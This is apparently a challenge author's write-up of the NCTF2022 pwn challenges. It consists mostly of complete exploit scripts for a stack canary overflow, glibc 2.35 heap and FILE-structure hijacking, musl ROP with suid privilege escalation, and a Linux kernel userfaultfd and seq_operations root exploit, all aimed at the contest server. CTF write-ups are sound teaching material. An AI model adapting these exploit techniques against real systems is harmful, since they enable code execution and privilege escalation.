总的来说我出的几题不是很难,主要是想把自己感觉有意思的一些东西分享给大家。

ezlogin

程序设计周大作业稍加改编出的题目。洞在Tea里,有个数组越界写,为了避开\x00截断,我给了*可以对其进行替换。最后base64带出flag。

  1. from pwn import*
  2. context(os='linux',arch='amd64',log_level='debug')
  3. s = remote('49.233.15.226', 8001)
  4. canary = u64(s.recv(7).rjust(8,b'\x00'))
  5. success('canary=>' + hex(canary))
  6. s.sendlineafter(b"3.exit\n>> ", b"1")
  7. s.sendlineafter(b"Please put the content you want to encrypt into '1.txt'", b'a'*0x52 + b'*'+chr((canary>>32)&0xff).encode()+b'c'*6+b'\x75**')
  8. s.sendlineafter(b"When you finish please input 'Y'\n", b"Y")
  9. s.sendlineafter(b"5.RC4\n>> ", b"4")
  10. s.sendlineafter(b"for example: 0x10 0x20 0x30 0x10 \n> ", b"0x10 0x20 0x30 0x10")
  11. sleep(1)
  12. s.sendline(b"echo `base64 /flag` | base64 -d")
  13. s.interactive()

ezlink

2.35堆利用,两次show,一次泄露heap_base,(可以反推,不过我直接用笨办法本地硬跑一下)利用沙盒残留的地址泄露libc_base,其他随便找个IO打一下即可。

  1. from pwn import*
  2. import time
  3. context(os='linux',arch='amd64',log_level='debug')
  4. libc = ELF('./libc-2.35.s0')
  5. def add(content):
  6. s.sendlineafter(b'>> ', b'1')
  7. s.sendafter(b'Please input your secret\n', content)
  8. def delete():
  9. s.sendlineafter(b'>> ', b'2')
  10. def show():
  11. s.sendlineafter(b'>> ', b'3')
  12. def edit(content):
  13. s.sendlineafter(b'>> ', b'4')
  14. s.sendafter(b'Please input content\n', content)
  15. def get_heap_base(target):
  16. start_time = time.time()
  17. base = 0x550000000000
  18. while(1):
  19. if(((base+0x1000)>>12) ^ (base+0x1590) == target):
  20. end_time = time.time()
  21. print(end_time-start_time)
  22. return base
  23. if(base == 0x560000000000):
  24. end_time = time.time()
  25. print(end_time-start_time)
  26. print('[-] get heap base failed')
  27. return 0xdeadbeef
  28. base+= 0x1000
  29. def pwn():
  30. add(b'a')
  31. delete()
  32. add(b'\x00')
  33. show()
  34. s.recvuntil(b'you only have two chances to peep a secret\n')
  35. heap_base = u64(s.recv(6).ljust(8,b'\x00'))
  36. success(hex(heap_base))
  37. assert(heap_base & 0xff0000000000 == 0x550000000000)
  38. heap_base = get_heap_base(heap_base)
  39. assert(heap_base & 0xfff == 0)
  40. success('heap_base=>' + hex(heap_base))
  41. delete()
  42. edit(p64(((heap_base+0x1000)>>12)^(heap_base+0x300)))
  43. add(b'\x60')
  44. show()
  45. libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x246d60
  46. success('libc_base=>' + hex(libc_base))
  47. pop_rax_ret = libc_base + 0x0000000000045eb0
  48. pop_rdi_ret = libc_base + 0x000000000002a3e5
  49. pop_rsi_ret = libc_base + 0x000000000002be51
  50. pop_rdx_ret_r12 = libc_base + 0x000000000011f497
  51. pop_rsp_ret = libc_base + 0x0000000000035732
  52. syscall_ret = libc_base + 0x0000000000091396
  53. rop_addr = heap_base
  54. orw_addr = heap_base
  55. fake_IO_addr = heap_base + 0x17e0
  56. fake_IO_file = p64(0) + p64(0)
  57. fake_IO_file+= p64(0)*3 + p64(1) # IO
  58. fake_IO_file+= p64(0)*7 + p64(0) # _chain
  59. fake_IO_file+= p64(0) + p64(0xffffffffffffffff) + p64(0)
  60. fake_IO_file+= p64(heap_base + 0x1000) + p64(0xffffffffffffffff) + p64(0)
  61. fake_IO_file+= p64(heap_base + 0x1e10 + 0x50 - 0xe0) # _wide_data
  62. fake_IO_file+= p64(0)*2 + p64(1) + p64(0)*5
  63. fake_IO_file+= p64(libc_base + libc.sym['_IO_wfile_jumps'])
  64. print(hex(len(fake_IO_file)))
  65. add(fake_IO_file[:0xd0])
  66. add(b'a')
  67. delete()
  68. edit(p64(((heap_base+0x1000)>>12)^(heap_base+0x18a0)))
  69. add(fake_IO_file[0xd0:])
  70. add(b'a')
  71. delete()
  72. edit(p64(((heap_base+0x1000)>>12)^(libc_base+libc.sym['_IO_list_all'])))
  73. add(p64(fake_IO_addr))
  74. payload = p64(libc_base + libc.sym['setcontext'] + 61) + p64(0)
  75. payload+= p64(heap_base + 0x1e10 + 0x58) + p64(pop_rdi_ret + 1)
  76. payload+= p64(0)*6
  77. payload+= p64(heap_base + 0x1e10 - 0x68)
  78. payload+= p64(pop_rdi_ret) + p64(0)
  79. payload+= p64(pop_rsi_ret) + p64(heap_base + 0x3000)
  80. payload+= p64(pop_rdx_ret_r12) + p64(0x500) + p64(0)
  81. payload+= p64(libc_base + libc.sym['read'])
  82. payload+= p64(pop_rsp_ret) + p64(heap_base + 0x3000)
  83. add(payload) # _wide_vtable
  84. # open
  85. orw = p64(pop_rdi_ret) + p64(heap_base + 0x3000 + 0x300)
  86. orw+= p64(pop_rsi_ret) + p64(0)
  87. orw+= p64(pop_rdx_ret_r12) + p64(0) + p64(0)
  88. orw+= p64(libc_base + libc.sym['open'])
  89. # getdents64
  90. orw+= p64(pop_rdi_ret) + p64(3)
  91. orw+= p64(pop_rsi_ret) + p64(heap_base + 0x5000)
  92. orw+= p64(pop_rdx_ret_r12) + p64(0x200) + p64(0)
  93. orw+= p64(pop_rax_ret) + p64(217)
  94. orw+= p64(syscall_ret)
  95. # write
  96. orw+= p64(pop_rdi_ret) + p64(1)
  97. orw+= p64(pop_rsi_ret) + p64(heap_base + 0x5000)
  98. orw+= p64(pop_rdx_ret_r12) + p64(0x200) + p64(0)
  99. orw+= p64(libc_base + libc.sym['write'])
  100. # open
  101. orw+= p64(pop_rdi_ret) + p64(heap_base + 0x5000 + 0xa3)
  102. orw+= p64(pop_rsi_ret) + p64(0)
  103. orw+= p64(pop_rdx_ret_r12) + p64(0) + p64(0)
  104. orw+= p64(libc_base + libc.sym['open'])
  105. # read
  106. orw+= p64(pop_rdi_ret) + p64(4)
  107. orw+= p64(pop_rsi_ret) + p64(heap_base + 0x6000)
  108. orw+= p64(pop_rdx_ret_r12) + p64(0x200) + p64(0)
  109. orw+= p64(libc_base + libc.sym['read'])
  110. # puts
  111. orw+= p64(pop_rdi_ret) + p64(heap_base + 0x6000)
  112. orw+= p64(libc_base + libc.sym['puts'])
  113. # exit
  114. orw+= p64(libc_base + libc.sym['exit'])
  115. orw = orw.ljust(0x300,b'\x00')
  116. orw+= b'.\x00'
  117. s.sendlineafter(b'>> ', b'5') # b _IO_wdoallocbuf
  118. sleep(1)
  119. s.sendline(orw)
  120. s.recvuntil(b'NCTF')
  121. success(b'NCTF' + s.recvuntil(b'}'))
  122. s.interactive()
  123. while True:
  124. try:
  125. s = remote('49.233.15.226', 8003)
  126. pwn()
  127. except:
  128. s.close()
  129. continue

babyLinkedList

1.2.2的musl,给了任意地址写,可以打栈,可以伪造meta,本地和远程布局稍有不同,给出了部分dockerfile可以拉个docker出来看看。最后加了个suid date提权

  1. from pwn import*
  2. context(os='linux',arch='amd64',log_level='debug')
  3. s = remote('49.233.15.226', 8002)
  4. def add(size,content):
  5. s.sendlineafter(b'>> ', b'1')
  6. s.sendlineafter(b'Please input size\n', str(size))
  7. s.sendafter(b'Please input content\n', content)
  8. def delete():
  9. s.sendlineafter(b'>> ', b'2')
  10. def show():
  11. s.sendlineafter(b'>> ', b'3')
  12. def edit(content):
  13. s.sendlineafter(b'>> ', b'4')
  14. sleep(0.1)
  15. s.send(content)
  16. add(0x20, b'a')
  17. add(0x18, b'a')
  18. edit(b'a'*0x20)
  19. show()
  20. # 0x7f60b75bcce0
  21. libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0xa6ce0
  22. success('libc_base=>' + hex(libc_base))
  23. __malloc_context = libc_base + 0xa3aa0
  24. __stdout_used = libc_base + 0xa3410
  25. edit(b'\x00'*0x18 + b'\x00'*5 + b'\x81' + b'\x02\x00' + p64(__stdout_used))
  26. edit(p64(libc_base - 0x4000))
  27. payload = b'/home/ctf/flag'+b'\x00'*(0x10-14)#b'\x00'*0x10
  28. payload+= p64(libc_base - 0x4000 + 0x50)
  29. payload+= p64(libc_base + 0x0000000000015286) # ret
  30. payload+= b'\x00'*8
  31. payload+= p64(libc_base + 0x0000000000050e9c) # mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38];
  32. # open
  33. payload+= p64(libc_base + 0x0000000000015c8e) + p64(libc_base - 0x4000 + 0x20)
  34. payload+= p64(libc_base + 0x0000000000016242) + p64(0)
  35. payload+= p64(libc_base + 0x0000000000019418) + p64(0)
  36. payload+= p64(libc_base + 0x0000000000018644) + p64(2)
  37. payload+= p64(libc_base + 0x0000000000022747)
  38. # read
  39. payload+= p64(libc_base + 0x0000000000015c8e) + p64(3)
  40. payload+= p64(libc_base + 0x0000000000016242) + p64(libc_base - 0x4000 + 0x1000)
  41. payload+= p64(libc_base + 0x0000000000019418) + p64(0x100)
  42. payload+= p64(libc_base + 0x0000000000018644) + p64(0)
  43. payload+= p64(libc_base + 0x0000000000022747)
  44. # write
  45. payload+= p64(libc_base + 0x0000000000015c8e) + p64(1)
  46. payload+= p64(libc_base + 0x0000000000016242) + p64(libc_base - 0x4000 + 0x1000)
  47. payload+= p64(libc_base + 0x0000000000019418) + p64(0x100)
  48. payload+= p64(libc_base + 0x0000000000018644) + p64(1)
  49. payload+= p64(libc_base + 0x0000000000022747)
  50. # execv
  51. payload+= p64(libc_base + 0x0000000000015c8e) + p64(libc_base + 0xA120F)
  52. payload+= p64(libc_base + 0x0000000000016242) + p64(0)
  53. payload+= p64(libc_base + 0x0000000000019418) + p64(0)
  54. payload+= p64(libc_base + 0x0000000000018644) + p64(59)
  55. payload+= p64(libc_base + 0x0000000000022747)
  56. add(0x1500, payload)
  57. s.sendlineafter(b'>> ', b'0')
  58. sleep(1)
  59. s.sendline(b"date -f /home/ctf/flag")
  60. s.interactive()

babyyLinkedList

userfaultfd+setxatter占位,seq打ROP。

  1. #define _GNU_SOURCE
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <stdint.h>
  5. #include <unistd.h>
  6. #include <fcntl.h>
  7. #include <pthread.h>
  8. #include <poll.h>
  9. #include <string.h>
  10. #include <assert.h>
  11. #include <sys/types.h>
  12. #include <sys/xattr.h>
  13. #include <linux/userfaultfd.h>
  14. #include <sys/ioctl.h>
  15. #include <sys/syscall.h>
  16. #include <sys/msg.h>
  17. #include <sys/mman.h>
  18. #include <sys/sem.h>
  19. #include <sys/ipc.h>
  20. #include <sys/shm.h>
  21. #include <semaphore.h>
  22. #define PAGE_SIZE 0x1000
  23. int fd;
  24. int ret;
  25. sem_t sem_delete;
  26. size_t seq_fd;
  27. size_t seq_fds[0x100];
  28. size_t kernel_offset;
  29. char *user_buf;
  30. char *sleep_buf;
  31. void ErrExit(char* err_msg)
  32. {
  33. puts(err_msg);
  34. exit(-1);
  35. }
  36. void get_shell()
  37. {
  38. if (getuid() == 0)
  39. {
  40. puts("\033[32m\033[1m[+] Successful to get the root.\033[0m");
  41. system("cat /flag;/bin/sh");
  42. }
  43. else
  44. {
  45. puts("[-] get shell error");
  46. exit(1);
  47. }
  48. }
  49. void register_userfault(void *fault_page,void *handler)
  50. {
  51. pthread_t thr;
  52. struct uffdio_api ua;
  53. struct uffdio_register ur;
  54. uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
  55. ua.api = UFFD_API;
  56. ua.features = 0;
  57. if(ioctl(uffd, UFFDIO_API, &ua) == -1)
  58. ErrExit("[-] ioctl-UFFDIO_API error");
  59. ur.range.start = (unsigned long)fault_page; // the area we want to monitor
  60. ur.range.len = PAGE_SIZE;
  61. ur.mode = UFFDIO_REGISTER_MODE_MISSING;
  62. if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread
  63. ErrExit("[-] ioctl-UFFDIO_REGISTER error");
  64. // open a thread, receive the wrong signal, and the handle it
  65. int s = pthread_create(&thr, NULL, handler, (void*)uffd);
  66. if(s!=0)
  67. ErrExit("[-] pthread-create error");
  68. }
  69. typedef struct
  70. {
  71. uint64_t size;
  72. char *buf;
  73. }Data;
  74. void add(uint64_t size, char *buf)
  75. {
  76. Data data;
  77. data.size = size;
  78. data.buf = buf;
  79. ioctl(fd, 0x6666, &data);
  80. }
  81. void delete(char *buf)
  82. {
  83. Data data;
  84. data.size = 0;
  85. data.buf = buf;
  86. ioctl(fd, 0x7777, &data);
  87. }
  88. void* delete_thread(void* index)
  89. {
  90. puts("[+] delete thread start");
  91. sem_wait(&sem_delete);
  92. delete(sleep_buf);
  93. return NULL;
  94. }
  95. void *userfault_leak_handler(void *arg)
  96. {
  97. struct uffd_msg msg;
  98. unsigned long uffd = (unsigned long)arg;
  99. struct pollfd pollfd;
  100. int nready;
  101. pollfd.fd = uffd;
  102. pollfd.events = POLLIN;
  103. nready = poll(&pollfd, 1, -1);
  104. if(nready != 1)
  105. ErrExit("[-] wrong poll return value");
  106. nready = read(uffd, &msg, sizeof(msg));
  107. if(nready<=0)
  108. ErrExit("[-] msg error");
  109. char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  110. if(page == MAP_FAILED)
  111. ErrExit("[-] mmap error");
  112. struct uffdio_copy uc;
  113. puts("\033[34m\033[1m[+] leak handler created\033[0m");
  114. pthread_t thr_delete;
  115. pthread_create(&thr_delete, NULL, delete_thread, (void*)0);
  116. sem_post(&sem_delete);
  117. sleep(1);
  118. if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0)
  119. ErrExit("open stat error");
  120. // init page
  121. memset(page, 0, sizeof(page));
  122. uc.src = (unsigned long)page;
  123. uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
  124. uc.len = PAGE_SIZE;
  125. uc.mode = 0;
  126. uc.copy = 0;
  127. ioctl(uffd, UFFDIO_COPY, &uc);
  128. puts("[+] leak handler done");
  129. }
  130. void *userfault_write_handler(void *arg)
  131. {
  132. struct uffd_msg msg;
  133. unsigned long uffd = (unsigned long)arg;
  134. struct pollfd pollfd;
  135. int nready;
  136. pollfd.fd = uffd;
  137. pollfd.events = POLLIN;
  138. nready = poll(&pollfd, 1, -1);
  139. if(nready != 1)
  140. ErrExit("[-] wrong poll return value");
  141. nready = read(uffd, &msg, sizeof(msg));
  142. if(nready<=0)
  143. ErrExit("[-] msg error");
  144. char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  145. if(page == MAP_FAILED)
  146. ErrExit("[-] mmap error");
  147. struct uffdio_copy uc;
  148. puts("\033[34m\033[1m[+] write handler created\033[0m");
  149. pthread_t thr_delete;
  150. pthread_create(&thr_delete, NULL, delete_thread, (void*)1);
  151. sem_post(&sem_delete);
  152. sleep(1);
  153. memset(page, 0, sizeof(page));
  154. uc.src = (unsigned long)page;
  155. uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
  156. uc.len = PAGE_SIZE;
  157. uc.mode = 0;
  158. uc.copy = 0;
  159. ioctl(uffd, UFFDIO_COPY, &uc);
  160. puts("[+] write handler done");
  161. }
  162. void *userfault_sleep_handler(void *arg)
  163. {
  164. struct uffd_msg msg;
  165. unsigned long uffd = (unsigned long)arg;
  166. struct pollfd pollfd;
  167. int nready;
  168. pollfd.fd = uffd;
  169. pollfd.events = POLLIN;
  170. nready = poll(&pollfd, 1, -1);
  171. if(nready != 1)
  172. ErrExit("[-] wrong poll return value");
  173. nready = read(uffd, &msg, sizeof(msg));
  174. if(nready<=0)
  175. ErrExit("[-] msg error");
  176. char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  177. if(page == MAP_FAILED)
  178. ErrExit("[-] mmap error");
  179. struct uffdio_copy uc;
  180. puts("[+] sleep handler created");
  181. sleep(100);
  182. // init page
  183. memset(page, 0, sizeof(page));
  184. uc.src = (unsigned long)page;
  185. uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
  186. uc.len = PAGE_SIZE;
  187. uc.mode = 0;
  188. uc.copy = 0;
  189. ioctl(uffd, UFFDIO_COPY, &uc);
  190. puts("[+] sleep handler done");
  191. }
  192. size_t pop_rdi_ret = 0xffffffff81086aa0;
  193. size_t pop_rbp_ret = 0xffffffff810005ae;
  194. size_t init_cred = 0xffffffff82a5fa40;
  195. size_t commit_creds = 0xffffffff810c3d30;
  196. size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00a44;
  197. size_t add_rsp_ret = 0xffffffff8188fba1;
  198. void *userfault_hijack_handler(void *arg)
  199. {
  200. struct uffd_msg msg;
  201. unsigned long uffd = (unsigned long)arg;
  202. struct pollfd pollfd;
  203. int nready;
  204. pollfd.fd = uffd;
  205. pollfd.events = POLLIN;
  206. nready = poll(&pollfd, 1, -1);
  207. if(nready != 1)
  208. ErrExit("[-] wrong poll return value");
  209. nready = read(uffd, &msg, sizeof(msg));
  210. if(nready<=0)
  211. ErrExit("[-] msg error");
  212. char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  213. if(page == MAP_FAILED)
  214. ErrExit("[-] mmap error");
  215. struct uffdio_copy uc;
  216. puts("\033[34m\033[1m[+] hijack handler created\033[0m");
  217. puts("[+] tigger..");
  218. pop_rdi_ret += kernel_offset;
  219. pop_rbp_ret += kernel_offset;
  220. init_cred += kernel_offset;
  221. commit_creds += kernel_offset;
  222. swapgs_restore_regs_and_return_to_usermode += kernel_offset;
  223. __asm__(
  224. "mov r15, 0x1111111111;"
  225. "mov r14, 0x2222222222;"
  226. "mov r13, 0x3333333333;"
  227. "mov r12, pop_rdi_ret;"
  228. "mov rbp, init_cred;"
  229. "mov rbx, pop_rbp_ret;"
  230. "mov r11, 0x246;"
  231. "mov r10, commit_creds;"
  232. "mov r9, swapgs_restore_regs_and_return_to_usermode;"
  233. "mov r8, 0xaaaaaaaaaa;"
  234. "xor rax, rax;"
  235. "mov rcx, 0xbbbbbbbbbb;"
  236. "mov rdx, 8;"
  237. "mov rsi, rsp;"
  238. "mov rdi, seq_fd;"
  239. "syscall"
  240. );
  241. printf("[+] uid: %d gid: %d\n", getuid(), getgid());
  242. get_shell();
  243. // init page
  244. memset(page, 0, sizeof(page));
  245. uc.src = (unsigned long)page;
  246. uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
  247. uc.len = PAGE_SIZE;
  248. uc.mode = 0;
  249. uc.copy = 0;
  250. ioctl(uffd, UFFDIO_COPY, &uc);
  251. puts("[+] hijack handler done");
  252. }
  253. int main()
  254. {
  255. char *leak_buf;
  256. char *write_buf;
  257. char* hijack_buf;
  258. char leak_data[0x10];
  259. char write_data[0x10];
  260. cpu_set_t cpu_set;
  261. CPU_ZERO(&cpu_set);
  262. CPU_SET(0, &cpu_set);
  263. sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
  264. sem_init(&sem_delete, 0, 0);
  265. fd = open("/proc/babyLinkedList", O_RDONLY);
  266. //for(int i=0; i<100; i++)
  267. // if ((seq_fds[i] = open("/proc/self/stat", O_RDONLY)) < 0)
  268. // ErrExit("open stat error");
  269. leak_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  270. register_userfault(leak_buf, userfault_leak_handler);
  271. write_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  272. register_userfault(write_buf, userfault_write_handler);
  273. sleep_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  274. register_userfault(sleep_buf, userfault_sleep_handler);
  275. add(0x20, leak_buf);
  276. delete(leak_data);
  277. kernel_offset = ((size_t*)leak_data)[0];
  278. kernel_offset-= 0xffffffff812f2db0;
  279. printf("\033[33m\033[1m[+] kernel offset: 0x%lx\033[0m\n", kernel_offset);
  280. add(0x20, write_buf);
  281. hijack_buf = (char*)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  282. register_userfault(hijack_buf+PAGE_SIZE, userfault_hijack_handler);
  283. *(size_t*)(hijack_buf + PAGE_SIZE - 8) = 0xffffffff8188fba1 + kernel_offset;
  284. setxattr("/tmp/exp", "FXC", hijack_buf + PAGE_SIZE - 8, 32, 0);
  285. return 0;
  286. }

NCTF2022 - pwn 部分 wp的更多相关文章

  1. CG-CTF pwn部分wp

    面向pwn刷cgctfPWN1,When did you born题目给了一个ELF文件,和一个.C文件先运行ELF,大概如下What’s Your Birth?0What’s Your Name?0 ...

  2. Nice to meet you

    Who am i 详情可以参见我的这一篇博文 Why and how 其实之前就想在博客园开创自己的博客了,但是自己之前已经利用自己的GitHub搭建了一个 博客,然后的话自己写的文章即水又不多,说到 ...

  3. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

  4. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  5. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  6. 2021能源PWN wp

    babyshellcode 这题考无write泄露,write被沙盒禁用时,可以考虑延时盲注的方式获得flag,此exp可作为此类型题目模版,只需要修改部分参数即可,详细见注释 from pwn im ...

  7. bugku - pwn wp

    一. PWN1 题目:nc 114.116.54.89 10001 1.  直接kali里面跑nc 2.ls看看有啥 3.明显有一个flag cat查看一下 搞定 二 . PWN2 题目:给了nc 1 ...

  8. pwn学习之四

    本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...

  9. Pwn入坑指南

    栈溢出原理 参考我之前发的一篇 Windows栈溢出原理 还有 brant 师傅的<0day安全笔记> Pwn常用工具 gdb:Linux下程序调试 PEDA:针对gdb的python漏洞 ...

  10. Pwn with File结构体(一)

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 利用 FILE 结构体进行攻击,在现在的 ctf 比赛中也经常出现 ...

随机推荐

  1. Nginx 动态压缩与静态压缩,显著提高前后端分离项目响应速度!

    文章转载自:https://mp.weixin.qq.com/s/NuTmEUQU5L69is53bCauKA Nginx 中配置前端的 gzip 压缩,有两种思路: Nginx 动态压缩,静态文件还 ...

  2. Beats:如何使用Winlogbeat

  3. .NET平台下一个你不知道的框架,我只想说两个字:“牛逼”

    框架内容 零度框架是一套基于微服务和领域模型驱动设计的企业级快速开发框架,基于微软 .NET 6 + React 最新技术栈构建,容器化微服务最佳实践,零度框架的搭建以开发简单,多屏体验,前后端分离, ...

  4. 魔改editormd组件,优化ToC渲染效果

    前言 我的StarBlog博客目前使用 editor.md 组件在前端渲染markdown文章,但这个组件自动生成的ToC(内容目录)不是很美观,我之前魔改过一个树形组件 BootStrap-Tree ...

  5. wampServer配置WWW根目录遇到的坑

    直接在官网下载之后开始安装,一切正常 打开使用,一切正常 设置WWW目录.坑了一波 按照的都是百度上的教程,设置httpd.conf 这里配置之后网页访问127.0.0.1 还是localhost都还 ...

  6. SSM框架整合图书管理项目

    SSM框架整合 1.建立简单的maven项目 2.导入依赖 <?xml version="1.0" encoding="UTF-8"?> <p ...

  7. 三、Python语法介绍

    三.Python语言介绍 3.1.了解Python语言 Python 是1989 年荷兰人 Guido van Rossum (简称 Guido)在圣诞节期间为了打发时间,发明的一门面向对象的解释性编 ...

  8. (数据科学学习手札146)geopandas中拓扑非法问题的发现、诊断与修复

    本文示例代码已上传至我的Github仓库https://github.com/CNFeffery/DataScienceStudyNotes 1 简介 大家好我是费老师,geopandas作为在Pyt ...

  9. Abp.Zero 手机号免密登录验证与号码绑定功能的实现(一):验证码模块

    这是一篇系列博文,我将使用Abp.Zero搭建一套集成手机号免密登录验证与号码绑定功能的用户系统: Abp.Zero 手机号免密登录验证与号码绑定功能的实现(一):验证码模块 Abp.Zero 手机号 ...

  10. JMETER与BeanShell

    变量 Beanshell应用自定义变量有两种方法: #第一种方法,使用${key}格式,但是需要注意这是用应用的变量是没有定义数据类型的 #log.info(String Key)只能打印字符串,所以 ...